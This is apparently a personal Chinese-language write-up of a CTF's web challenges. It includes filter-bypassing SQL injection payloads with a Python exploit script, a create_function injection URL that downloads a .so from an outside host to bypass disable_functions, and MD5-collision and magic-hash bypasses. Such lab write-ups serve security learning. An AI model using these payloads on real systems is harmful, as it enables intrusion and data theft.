清明无聊,玩了一下这个 ctf 比赛
Web
Web 1 web签到
Description
{% colorquote info %} flag到底在哪啊!! {% endcolorquote %}
题目地址:http://120.79.1.69:8887/web1/
Hacking
Web 2 下载下载
Description
{% colorquote info %} 下载就对了,废什么话! {% endcolorquote %}
题目地址:http://120.79.1.69:8887/web2/
Hacking
题目给了一个文件下载的功能,http://120.79.1.69:8887/web2/?file=flag.txt
直接下 flag.php ,内容为
<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
function encrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= $key {$x};
$x ++;
}
for($i = 0; $i < $len; $i ++) {
$str .= chr ( ord ( $data {$i} ) + (ord ( $char {$i} )) % 256 );
}
return base64_encode ( $str );
}
function decrypt($data, $key) {
$key = md5 ( $key );
$x = 0;
$data = base64_decode ( $data );
$len = strlen ( $data );
$l = strlen ( $key );
for($i = 0; $i < $len; $i ++) {
if ($x == $l) {
$x = 0;
}
$char .= substr ( $key, $x, 1 );
$x ++;
}
for($i = 0; $i < $len; $i ++) {
if (ord ( substr ( $data, $i, 1 ) ) < ord ( substr ( $char, $i, 1 ) )) {
$str .= chr ( (ord ( substr ( $data, $i, 1 ) ) + 256) - ord ( substr ( $char, $i, 1 ) ) );
} else {
$str .= chr ( ord ( substr ( $data, $i, 1 ) ) - ord ( substr ( $char, $i, 1 ) ) );
}
}
return $str;
}
$key="MyCTF";
$flag="o6lziae0xtaqoqCtmWqcaZuZfrd5pbI=";//encrypt($flag,$key)
?>
直接用decrypt
函数解就行了…得到myCTF{cssohw456954GUEB}
Web 3 猜密码
Description
{% colorquote info %} 这题很简单 {% endcolorquote %}
题目地址:http://120.79.1.69:8887/web3/
Hacking
直接看源码
<html>
<head>
<title>猜密码</title>
</head>
<body>
<!--
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
if ($_POST['pwd'] == $_SESSION['pwd'])
die('Flag:'.$flag);
else{
print '<p>猜测错误.</p>';
$_SESSION['pwd']=time().time();
}
}
-->
<form action="index.php" method="post">
密码:<input type="text" name="pwd"/>
<input type="submit" value="猜密码"/>
</form>
</body>
</html>
直接点击提交获得 flag
这里确实存在疑问,后来仔细看了看确实有点问题。
{% colorquote danger %} 因为注释当中的是 POST[‘password’] 而非 POST[‘pwd’] {% endcolorquote %}
如果没有传入$_POST['password']
是肯定不能执行后面代码的,这是存疑的一点,后来猜测应该是服务器代码跟注释肯定不一致才导致的问题。但是当时直接点就拿到 flag 就没有再去深究,后来这题我在群里看了也产生了比较多的讨论,后来群主也给出了源代码
<?php
header('Content-Type: text/html; charset=utf-8'); //网页编码
$flag="jactf{sfakdjgnasasdasde}";
session_start();
if (isset ($_POST['pwd'])){
if ($_POST['pwd'] == $_SESSION['pwd'])
die('Flag:'.$flag);
else{
print '<p>猜测错误.</p>';
$_SESSION['pwd']=time().time();
}
}
?>
<html>
<head>
<title>猜密码</title>
</head>
<body>
<!--
session_start();
$_SESSION['pwd']=time();
if (isset ($_POST['password'])) {
if ($_POST['pwd'] == $_SESSION['pwd'])
die('Flag:'.$flag);
else{
print '<p>猜测错误.</p>';
$_SESSION['pwd']=time().time();
}
}
-->
<form action="web3.php" method="post">
密码:<input type="text" name="pwd"/>
<input type="submit" value="猜密码"/>
</form>
</body>
</html>
于是这个问题就得以解释了。只要传参$_POST['pwd']
为空的话,$_SESSION['pwd']
未设置也为空,也就拿到了 flag 了。
Web 4 该网站已被黑
Description
{% colorquote info %} 如何预防网站被黑?把不必要的端口修改或者关闭、使用web防火墙、使用cdn隐藏IP、使用安全狗。有技术可以代码审计修复0day漏洞 {% endcolorquote %}
题目地址:http://120.79.1.69:8887/web4/
Hacking
猜测有后门,打开 shell.php,爆一下密码为 hack
Web 5 曲折的人生
Description
{% colorquote info %} 曲折是人生的常态当你遇到坎坷时,不妨把曲折的人生看作是一种常态,不要悲观失望,不要长吁短叹,不要停滞不前,把走弯路看成是前行的另一种形式,另一种途径,这样你也可以像那些走弯路的河流有勇气,抵达那遥远的人生大海。 {% endcolorquote %}
题目地址:http://120.79.1.69:8887/web5/
Hacking
随便提交我们可以发现有一个错误返回
select id,username,password from `admin` where username='admin'<br/>用户名:admin不正确
过滤了 or union select ,但是大写就可以绕过,空格过滤用%0a
绕过,用username=admin'%0aUNION%0aSELECT%0a1,2,3#
,发现 2 那一列被回显,所以可以在 2 处查询
<div class="tip">
select id,username,password from `admin` where username='admin'
UNION
SELECT
1,2,3#'<br/>用户名:2正确 </div>
用username=admin' UNION SELECT 1,group_concat(schema_name),3 from infORmation_schema.schemata#
得到
<div class="tip">
select id,username,password from `admin` where username='admin'
UNION
SELECT
1,group_concat(schema_name),3
from
infORmation_schema.schemata#'<br/>用户名:information_schema,xiaowei正确 </div>
表名:
<div class="tip">
select id,username,password from `admin` where username='admin'
UNION
SELECT
1,group_concat(table_name),3
from
infORmation_schema.tables
where
table_schema='xiaowei'#'<br/>用户名:admin正确 </div>
列名:
<div class="tip">
select id,username,password from `admin` where username='admin'
UNION
SELECT
1,group_concat(column_name),3
from
infORmation_schema.columns
where
table_name='admin'#'<br/>用户名:id,username,password正确 </div>
用户名:
<div class="tip">
select id,username,password from `admin` where username='admin'
UNION
SELECT
id,username,3
from
admin#'<br/>用户名:goodboy_g-60Hellowor正确 </div>
密码:
<div class="tip">
select id,username,password from `admin` where username='admin'
UNION
SELECT
id,password,3
from
admin#'<br/>用户名:ajahas&&*44askldajaj正确 </div>
登录成功后:
<div>the package password is <span>%^$%&sss88ioiern.gdsgj</span></div><div>the package download link=><a href='sss88ioiern.gdsgj.zip' target='_blank'>代码审计.zip</a></div>
自己用的脚本:
index_url = 'http://120.79.1.69:8887/web5/index.php'
solution_url = 'http://120.79.1.69:8887/web5/?check'
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded'
}
proxies = {
'http':'http://127.0.0.1:8080'
}
r = requests.Session()
s = r.get(index_url,allow_redirects=True,headers=headers)
str_text = r"<div class='rep'>.*</div>"
match = re.search(str_text,s.text)
result = match.group().replace("<div class='rep'>","")
result = result.replace("</div>","")
result = result.replace("ï¼","(")
result = result.replace("ï¼",")")
result = result.replace("X","*")
result = result.replace("/","/")
result = result.replace(b'\xc2\x89'.decode(),"")
result = str(round(eval(result)))
print(result)
# param = "username=admin'+||+'1'#&password=admin&code=" + result
# param = "username=admin' UNION SELECT 1,group_concat(schema_name),3 from infORmation_schema.schemata#&password=admin&code=" + result
# param = "username=admin' UNION SELECT 1,group_concat(table_name),3 from infORmation_schema.tables where table_schema='xiaowei'#&password=admin&code=" + result
# param = "username=admin' UNION SELECT id,group_concat(id),3 from admin#&password=admin&code=" + result
param = "username=admin'+||+'1'#&password=ajahas%26%26*44askldajaj&code=" +result
param = param.replace(' ',"%0a")
# print(param)
s = r.post(solution_url,data=param,headers=headers,proxies=proxies)
print(s.text)
这里比较坑的就是要处理那些不可见字符,我都是直接复制过来的,以及最后还有个不可见字符,用result = result.replace(b'\xc2\x89'.decode(),"")
处理了…这里比较恶心…其他没什么难度
里面的代码:
Private Function getPassword(ByVal str As String) As String
Dim reString As String
Dim i As Integer
i = 1
While (i <= Len(str))
reString = reString & Mid(str, i, 1)
i = i + (i Mod 5)
Wend
getPassword = reString
End Function
Private Sub Command1_Click()
Dim Dictionary As String
Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="
Dim password As String
password = getPassword(Dictionary)
Dim psw As String
psw = Text1.Text
If (psw = password) Then
MsgBox "The password is correct!", vbOKOnly, "������ȷ"
Text1.Text = "Password for next pass : " & getPassword(password)
Else
MsgBox "PasswordFail!", vbOKOnly, "�������"
End If
End Sub
用 python 翻译一下
def getPassword(string):
i = 1
reString = ''
while i <= len(string) :
reString = reString + string[i-1]
i = i + (i % 5)
return reString
Dictionary = "VmxSS05HSXhXbkpOV0VwT1YwVmFWRll3Wkc5VVJsbDNWMnhhYkZac1NqQlpNRll3VlRBeFNWRnNjRmRpUmtwSVZsY3hSMk14V2xsalJsSnBVakpvV0ZaR1dsWmxSbHBYWWtSYVZtRjZWbGRVVmxwelRrWmFTR1ZHWkZSaGVrWlhWR3hTVjFZeVJuSlhiRUpYWVRGYVYxcFhlRkprTVZaeVkwZHNVMDFWY0ZkV2JURXdWREZSZUZkcmFGVmlhelZvVlcxNFMxWXhjRlpXVkVaUFlrYzVObGt3VmpCWFJrcHpWbXBTVjFadFVqTldiWE4zWkRKT1IySkdaRmRTVm5CUVZtMTBhMVJyTVVkVmJrcFZZa2RTVDFac1VsZFdNVlY0Vld0a1ZVMXNXbGhXTVdodlZsZEtSMU5yWkZWV1JVVXhWV3hhWVZkSFZraGtSbVJUWWtoQ1JsWnJaRFJWTWtaMFUydG9WbUpHV2xoV01HUnZWVVp3V0UxWGNHeFdhelY2V1ZWYVlWUnNXbkpYYm1oWFlrWktVRlY2Um10U01WcFpZVVpXVjJKRmNIaFdSM1JXVFZVd2QyTkdWbFZoTVZwTVZtdFZNVkpuSlRORUpUTkU="
password = getPassword(Dictionary)
password = getPassword(password)
print(password)
得到压缩包密码,解压得到的图片用 strings 看一下就是 flag 了
Web 6 not_easy
Description
{% colorquote info %} this question is no easy {% endcolorquote %}
题目地址:http://120.79.1.69:8886/web6/
Hacking
<?php
error_reporting(0);
if(isset($_GET['action'])) {
$action = $_GET['action'];
}
if(isset($_GET['action'])){
$arg = $_GET['arg'];
}
if(preg_match('/^[a-z0-9_]*$/isD', $action)){
show_source(__FILE__);
} else {
$action($arg,'');
}
Code Breaking原题,只不过把 arg 的位置换了一下,无伤大雅,依旧可以用){return 123;}
这种闭合形式绕过。接下来就是突破 disable_function 的限制了。
这里我直接用了 0ctf 的解法,因为有现成的 exp 就直接拿去用了。
http://120.79.1.69:8886/web6/?action=\create_function&arg=){return%202333;}copy(%22http://106.14.153.173:8080/zedd.so%22,%22/www/wwwroot/www.sec.cn/web6/zedd.so%22);%2f%2f
后来看了一下可以简便一点,在_SERVER["SCRIPT_FILENAME"]
处发现绝对路径,然后用以下看当前文件
http://120.79.1.69:8886/web6/?action=\create_function&arg=){return%202333;}var_dump(scandir(%22/www/wwwroot/www.sec.cn/web6%22));%2f%2f
可以看到我之前传上去的.so
,也看到了还有两个 webshell ,直接file_get_contents
读 flag 即可
看知乎还有人发了一开始没做题目隔离…还没用 docker …这个一拿到 shell 就拿到了其他题目了…
Web 7 audit
Description
{% colorquote info %} audit {% endcolorquote %}
题目地址:http://120.79.1.69:8887/web7/
Hacking
<?php
highlight_file(__FILE__);
include('flag.php');
$str1 = @$_GET['str1'];
$str2 = @$_GET['str2'];
$str3 = @$_GET['str3'];
$str4 = @$_GET['str4'];
$str5 = (string)@$_POST['str5'];
$str6 = (string)@$_POST['str6'];
$str7 = (string)@$_POST['str7'];
if( $str1 == $str2 ){
die('str1 OR Sstr2 no no no');
}
if( md5($str1) != md5($str2) ){
die('step 1 fail');
}
if( $str3 == $str4 ){
die('str3 OR str4 no no no');
}
if ( md5($str3) !== md5($str4)){
die('step 2 fail');
}
if( $str5 == $str6 || $str5 == $str7 || $str6 == $str7 ){
die('str5 OR str6 OR str7 no no no');
}
if (md5($str5) !== md5($str6) || md5($str6) !== md5($str7) || md5($str5) !== md5($str7)){
die('step 3 fail');
}
if(!($_POST['a']) and !($_POST['b']))
{
echo "come on!";
die();
}
$a = $_POST['a'];
$b = $_POST['b'];
$m = $_GET['m'];
$n = $_GET['n'];
if (!(ctype_upper($a)) || !(is_numeric($b)) || (strlen($b) > 6))
{
echo "a OR b fail!";
die();
}
if ((strlen($m) > 4) || (strlen($n) > 4))
{
echo "m OR n fail";
die();
}
$str8 = hash('md5', $a, false);
$str9 = strtr(hash('md5', $b, false), $m, $n);
echo "<p>str8 : $str8</p>";
echo "<p>str9 : $str9</p>";
if (($str8 == $str9) && !($a === $b) && (strlen($b) === 6))
{
echo "You're great,give you flag:";
echo $flag;
}
str1 OR Sstr2 no no no
源码审计题,用数组可以绕过前面 4 个判断,str5 str6 str7 因为转成了字符串,所以需要强碰撞。这里可以利用Three way MD5 collision给的三个图片强行碰撞,但是比赛的时候由于自己对 python 这块不是特别熟,导致传这三个值老是传不了,最后赛后问了一下其他师傅要open().read()
这样…(然而自己按照阿烨师傅的没加read()
一直做不出来…
后面的可以自己 fuzz 一下,只要找到一个 md5 值可以变成0exxxxxx
形式的字符串即可。这里用正则整了好一会
for ($i=99999; $i < 1000000; $i++) {
$str = md5($i);
$p = '/^\w{4}.[0-9]+$/';
if (preg_match($p, $str)) {
echo $i." ";
echo md5($i);
echo "<br>";
}
}
得到以下几个数
204540 1a083126803757739236831994920755
541725 2c125284818224703513551749833326
598677 39dd6797642068546678043973187459
其他就迎刃而解了。附上脚本
import requests
url = "http://120.79.1.69:8887/web7/?str1[]=1&str2[]=2&str3[]=3&str4[]=4&m=1a&n=0e"
data = {
'a':'QNKCDZO',
'b':204540,
'str5': open('black.jpg.coll').read(),
'str6': open('brown.jpg.coll').read(),
'str7': open('white.jpg.coll').read()
}
proxies = {
'http':'http://127.0.0.1:8080'
}
r = requests.post(url,data = data,proxies=proxies)
print r.text
Web 8 真的是 Web
Description
{% colorquote info %} 真的是web,格式jactf{} {% endcolorquote %}
题目地址:http://120.79.1.69:8887/web8/
Hacking
是个 WebAssembly 的题,原本算在 web 的,后面放到 rev 去了,就没看了。
Conclusion
整个比赛还是比较简单的,可以说整个比赛没有自己比赛的东西,算不上是高质量比赛,没学到什么其他的东西。把 python 又撸了一遍…简直,python3 字符编码真的有点恶心… web8 可能以后有空回回来看看,其他就没什么了。不过听说比赛主办方还是在校生…那也是挺辛苦的hhhh…还是对主办方的辛苦运维表示感谢